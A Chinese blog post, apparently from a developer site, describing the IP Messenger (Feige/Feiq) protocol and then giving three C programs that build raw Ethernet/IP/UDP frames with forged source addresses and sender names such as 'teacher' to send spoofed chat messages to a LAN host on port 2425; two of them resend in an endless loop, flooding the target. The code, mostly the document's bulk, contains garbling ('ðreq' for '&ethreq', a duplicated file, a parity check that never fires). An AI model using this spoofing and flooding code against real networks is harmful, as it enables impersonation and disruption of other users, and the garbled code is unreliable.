基于Linux的飞鸽欺骗

1.IP信使传输协议(第9版草案)         

1996/02/21

2003/01/14 

H.Shirouzu 

2.关于IP信使: 
IP信使使用TCP/UDP协议提供收发消息及文件(目录)。 
3.特性: 
IP信使能够安装在任何一个安装了TCP/IP协议栈的操作系统上,使用在线用户的动态识别机制,可以和在线所有用户进行信息交换。 
4.运行机制介绍: 
使用TCP/UDP端口(默认端口为2425),消息的收发使用UDP协议,文件(文件夹)的收发使用TCP协议。 
4.1、   命令字: 
1)   基本命令字(32位命令字的低8位) 
    IPMSG_NOOPERATION     不进行任何操作 
    IPMSG_BR_ENTRY     用户上线 
    IPMSG_BR_EXIT         用户退出 
    IPMSG_ANSENTRY     通报在线 
    IPMSG_SENDMSG         发送消息 
    IPMSG_RECVMSG         通报收到消息 
    IPMSG_GETFILEDATA     请求通过TCP传输文件 
    IPMSG_RELEASEFILES   停止接收文件 
    IPMSG_GETDIRFILES     请求传输文件夹 
2)   选项位(32位命令字的高24位) 
IPMSG_SENDCHECKOPT   传送检查(需要对方返回确认信息) 
IPMSG_FILEATTACHOPT   传送文件选项 
3)   附件类型命令(文件类型命令字的低8位) 
IPMSG_FILE_REGULAR   普通文件 
IPMSG_FILE_DIR     目录文件 
IPMSG_FILE_RETPARENT   返回上一级目录 
4.2数据包格式(使用字符串): 
1) 数据包格式(版本1的格式) 
版本号(1):包编号:发送者姓名:发送者主机名:命令字:附加信息 
2)   举例如下 
“1:100:shirouzu:Jupiter:32:Hello” 
4.3数据包处理总述: 
1)   用户识别 
当IPMSG 启动时,命令IPMSG_BR_ENTRY被广播到网络中,向所有在线的用户提示一个新用户的到达(即表示“我来了”);所有在线用户将把该新上线用户添加到自己的用户列表中,并向该新上线用户发送IPMSG_ANSENTRY命令(即表示“我在线”);该新上线用户接收到 IPMSG_ANSENTRY命令后即将在线用户添加到自己的用户列表中。 
2)   收发消息 
使用IPMSG_SENDMSG命令发送消息,消息内容添加在附加信息中;在接收消息时,如果对方要求回信确认(IPMSG_SENDCHECKOPT位打开),则需发送IPMSG_RECVMSG命令并将对方发送的数据包的编号放在附加信息中一同发送至发送消息方 
3)   附加文件的扩充(添加于第9版) 
带有IPMSG_FILEATTACHOPT位的IPMSG_SENDMSG命令可用来传输文件,文件属性及内容添加在附加信息中,文件内容添加在消息内容后并以’\0’与之分隔开。传输文件时以下信息将被添加到消息内容之后(包括格式):文件序号:文件名:大小(单位:字节):最后修改时间:文件属性[: 附加属性=val1[,val2…][:附加信息=…]]:\a:文件序号… 
(文件大小、最后修改时间和文件属性为十六进制数,如果文件名中包含’:’则使用“::”代替)。 
接收端开始接收文件时,请求传输文件命令IPMSG_GETFILEDATA将发送到发送端的TCP端口(和UDP的发送端口相同),并将发送端发送的包编号:文件序号:偏移量(全为十六进制格式)写到附加信息区一同发送,文件发送端接收到该请求信息并进行校验正确后即开始发送文件(不使用任何格式,亦不进行加密)。 
当接收端接收到目录文件时,将发送附加信息区为发送端发送的包编号:文件序号:偏移量(全为十六进制格式)的  IPMSG_GETDIRFILES命令,以用来请求传输目录文件;发送端则将头信息长度:文件名:文件大小:文件属性:文件内容添加到附加信息区(除了文件名和文件内容外,其余皆为十六进制),头信息长度是从头信息长度开始到文件内容前的‘:’分割符为止的字符个数。 
当文件属性为IPMSG_FILE_DIR时,IPMsg能够自动识别其为目录,下一个文件的数据在该目录之后。 

当文件属性为IPMSG_FILE_RETPARENT时,IPMsg识别其动作为返回上一级目录,在这种情况下,文件名为‘.’其属性为当前目录的值。

5.代码部分 

feiq.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <net/if.h> //struct ifreq
#include <sys/ioctl.h> //ioctl、SIOCGIFADDR
#include <sys/socket.h>
#include <netinet/ether.h> //ETH_P_ALL
#include <netpacket/packet.h> //struct sockaddr_ll
#include <pthread.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <unistd.h>


unsigned short checksum(unsigned short *buf, int nword)
{
unsigned long sum;
for(sum = 0; nword > 0; nword--)
{
sum += htons(*buf);
buf++;
}
sum = (sum>>16) + (sum&0xffff);
sum += (sum>>16);
return ~sum;
}


int main()
{
int sockfd;
sockfd=socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL));
if(sockfd<0)
{
perror("sockfd");
} 

//要发送的Mac地址
unsigned char send_buf_mac[42]={
// dest_mac
0xff,0xff,0xff,0xff,0xff,0xff,
// src_mac
0x00,0x0c,0x29,0x7f,0x50,0x6f,
// type
0x08,0x06,
// arp
0x00,0x01,
0x08,0x00,
0x06,0x04,
0x00,0x01,//请求,两个字节
// src_mac
0x00,0x0c,0x29,0x7f,0x50,0x6f,
// src_ip
10,220,6,3,//linux IP地址

0,0,0,0,0,0,
10,220,6,43,//想要查询的Mac地址所对应的IP地址
};
struct ifreq ethreq;
bzero(ðreq,sizeof(ethreq));
strncpy(ethreq.ifr_name,"eth0",IFNAMSIZ);
ioctl(sockfd,SIOCGIFINDEX,ðreq);
struct sockaddr_ll sll;
bzero(&sll,sizeof(sll));
sll.sll_ifindex = ethreq.ifr_ifindex;
sendto(sockfd,send_buf_mac,42,0,(struct sockaddr*)&sll, sizeof(sll));
unsigned char recv_buf[42];
recvfrom(sockfd,recv_buf,42,0,NULL,NULL);
   
//发送飞秋欺骗包
unsigned char buf[400]="1:123:EDU——A035:EDU——A035:32:666";
unsigned  int length=strlen(buf);
if(length%2+1==0)
{
length++;
}
printf("%02x:%02x:%02x:%02x:%02x:%02x:",recv_buf[22],recv_buf[23],recv_buf[24],recv_buf[25],recv_buf[26],recv_buf[27]);
unsigned char buf_mac[14]=
{
//dst_mac
recv_buf[22],recv_buf[23],recv_buf[24],
recv_buf[25],recv_buf[26],recv_buf[27],
//src_mac
0xD6,0x89,0xDC,0xFB,0xF8,0x72,
//type
0x08,0x00  
};
unsigned char buf_ip[20]=
{ 
//版本
0x45,0x00,
0x00,0x00,/*总长度*/

//数据包编号
0x00,0x00,
//偏移
0x00,0x00,
//生存时间
128,
//协议类型
17,
//头部校验和
0x00,0x00,
//源IP地址
10,220,6,43,
//目的IP地址
10,220,6,43,
};
unsigned char Real_udp[18]=
{
//源端口号
0x09,0x79,
//目的端口号
0x09,0x79,
//UDP数据长度
0x00,0x00,  
//UDP校验和
0x00,0x00
};
unsigned char fake_udp[1024]=
{
//源IP地址
10,220,6,43,
//目的IP地址
10,220,6,43,
//协议
0x00,17,
//UDP数据长度
0x00,0x00,
//源端口号
0x09,0x79,
//目的端口号
0x09,0x79,
//UDP数据长度
0x00,0x28,
//UDP校验和
0x00,0x00
};
unsigned short int len_ip=htons(28+length);
unsigned short int len_udp=htons(8+length);
*(unsigned short int *)(Real_udp+4) = len_udp;
*(unsigned short int *)(buf_ip+2) = len_ip;
*(unsigned short int *)(fake_udp+10) = len_udp;
*(unsigned short int *)(fake_udp+16) = len_udp;
unsigned short num_ip =htons(checksum((unsigned short *)buf_ip,10));
memcpy(fake_udp+20,buf,length);
unsigned short num_udp =htons(checksum((unsigned short *)fake_udp,(length+20)/2));
*(unsigned short int *)(Real_udp+6) = num_udp;
*(unsigned short int *)(buf_ip+10) = num_ip;
unsigned char buf_send[200]="";
memcpy(buf_send,buf_mac,14);
memcpy(buf_send+14,buf_ip,20);
memcpy(buf_send+34,Real_udp,8);
memcpy(buf_send+42,buf,length);
while(1)
{
sendto(sockfd,buf_send,sizeof(buf_send),0,(struct sockaddr *)&sll,sizeof(sll));
}
return 0;
}

libnet.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <libnet.h>
int main()
{
//1内存初始化
char erro_buf[100]="";
libnet_t *handle=libnet_init(LIBNET_LINK_ADV,"eth0",erro_buf);
if(handle==NULL)
{
perror("handle");
}
//构建UDP
char *str="1:123:teacher:EDU-TEACHER-A:32:hello";
int len=strlen(str);
libnet_build_udp(
2425,
2425,
8+len,
0,
str,
len,
handle,0
);


//构建IP
unsigned char src_buf[4]={10,220,6,42};
unsigned char dst_buf[4]={10,220,6,43};
libnet_build_ipv4(
20+8+len,
0,0,0,
128,17,
0,
*(unsigned int *)src_buf,
*(unsigned int *)dst_buf,
NULL,0,
handle,0
);


//构建链路层ether
unsigned char dst_mac[6]={0xC8,0X9C,0XDC,0XEC,0XB3,0X77};
unsigned char src_mac[6]={0xD6,0x89,0x2C,0x90,0x4B,0x43};
libnet_build_ethernet(
dst_mac,
src_mac,
0x0800,
NULL,0,
handle,0
);
while(1)
{
libnet_write(handle);
}
//释放资源
libnet_destroy(handle);

return 0;
}

libnet.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <libnet.h>
int main()
{
//1内存初始化
char erro_buf[100]="";
libnet_t *handle=libnet_init(LIBNET_LINK_ADV,"eth0",erro_buf);
if(handle==NULL)
{
perror("handle");
}
//构建UDP
char *str="1:123:teacher:EDU-TEACHER-A:32:hello";
int len=strlen(str);
libnet_build_udp(
2425,
2425,
8+len,
0,
str,
len,
handle,0
);


//构建IP
unsigned char src_buf[4]={10,220,6,42};
unsigned char dst_buf[4]={10,220,6,43};
libnet_build_ipv4(
20+8+len,
0,0,0,
128,17,
0,
*(unsigned int *)src_buf,
*(unsigned int *)dst_buf,
NULL,0,
handle,0
);


//构建链路层ether
unsigned char dst_mac[6]={0xC8,0X9C,0XDC,0XEC,0XB3,0X77};
unsigned char src_mac[6]={0xD6,0x89,0x2C,0x90,0x4B,0x43};
libnet_build_ethernet(
dst_mac,
src_mac,
0x0800,
NULL,0,
handle,0
);
while(1)
{
libnet_write(handle);
}
//释放资源
libnet_destroy(handle);

return 0;
}

main.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <net/if.h> //struct ifreq
#include <sys/ioctl.h> //ioctl、SIOCGIFADDR
#include <sys/socket.h>
#include <netinet/ether.h> //ETH_P_ALL
#include <netpacket/packet.h> //struct sockaddr_ll


unsigned short checksum(unsigned short *buf, int nword);//校验和函数
int main(int argc, char *argv[])
{
//1.创建通信用的原始套接字
int sock_raw_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));

//2.根据各种协议首部格式构建发送数据报
unsigned char send_msg[1024] = {
//--------------组MAC--------14------
0xc8, 0x9c, 0xdc, 0xa7, 0x13, 0x7c, //dst_mac: b8:88:e3:e1:10:e6
0xc8, 0x9c, 0xdc, 0xb7, 0x0f, 0x19, //src_mac: c8:9c:dc:b7:0f:19
0x08, 0x00,                         //类型:0x0800 IP协议
//--------------组IP---------20------
0x45, 0x00, 0x00, 0x00,           //版本号:4, 首部长度:20字节, TOS:0, --总长度--:
0x00, 0x00, 0x00, 0x00,
//16位标识、3位标志、13位片偏移都设置0
0x80, 17,   0x00, 0x00,
//TTL:128、协议:UDP(17)、16位首部校验和
172,  20,   223,  4,
//src_ip: 172.20.226.11
172,  20,   223,  4,
//dst_ip: 172.20.226.13
//--------------组UDP--------8------
0x09, 0x79, 0x09, 0x79,             //src_port:0x0979(2425), dst_port:0x0979(2425)
0x00, 0x00, 0x00, 0x00,               //#--16位UDP长度--30个字节、#16位校验和
};

int len = sprintf(send_msg+42, "1:%d:%s:%s:%d:%s", 123,"xx", "xx",32,"逗你呢");//78个字节
if(len % 2 == 1)//判断len是否为奇数
{
len++;//如果是奇数,len就应该加1(因为UDP的数据部分如果不为偶数需要用0填补)
}

*((unsigned short *)&send_msg[16]) = htons(20+8+len);//IP总长度 = 20 + 8 + len
*((unsigned short *)&send_msg[14+20+4]) = htons(8+len);//udp总长度 = 8 + len
//3.UDP伪头部
unsigned char pseudo_head[1024] = {
//------------UDP伪头部--------12--
172,  20,   223,  4,
//src_ip: 172.20.226.17
172,  20,   223,  4,
//dst_ip: 172.20.226.11
0x00, 17,   0x00, 0x00,             
//0,17,#--16位UDP长度--20个字节
};

*((unsigned short *)&pseudo_head[10]) = htons(8 + len);//为头部中的udp长度(和真实udp长度是同一个值)
//4.构建udp校验和需要的数据报 = udp伪头部 + udp数据报
memcpy(pseudo_head+12, send_msg+34, 8+len);//--计算udp校验和时需要加上伪头部--
//5.对IP首部进行校验
*((unsigned short *)&send_msg[24]) = htons(checksum((unsigned short *)(send_msg+14),20/2));
//6.--对UDP数据进行校验--
*((unsigned short *)&send_msg[40]) = htons(checksum((unsigned short *)pseudo_head,(12+8+len)/2));

//6.发送数据
struct sockaddr_ll sll;
//原始套接字地址结构
struct ifreq ethreq;
//网络接口地址

strncpy(ethreq.ifr_name, "eth0", IFNAMSIZ);
//指定网卡名称
if(-1 == ioctl(sock_raw_fd, SIOCGIFINDEX, ðreq))
//获取网络接口
{
perror("ioctl");
close(sock_raw_fd);
exit(-1);
}

/*将网络接口赋值给原始套接字地址结构*/
bzero(&sll, sizeof(sll));
sll.sll_ifindex = ethreq.ifr_ifindex;
len = sendto(sock_raw_fd, send_msg, 14+20+8+len, 0 , (struct sockaddr *)&sll, sizeof(sll));
if(len == -1)
{
perror("sendto");
}
return 0;
}

unsigned short checksum(unsigned short *buf, int nword)
{
unsigned long sum;
for(sum = 0; nword > 0; nword--)
{
sum += htons(*buf);
buf++;
}
sum = (sum>>16) + (sum&0xffff);
sum += (sum>>16);
return ~sum;
}

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值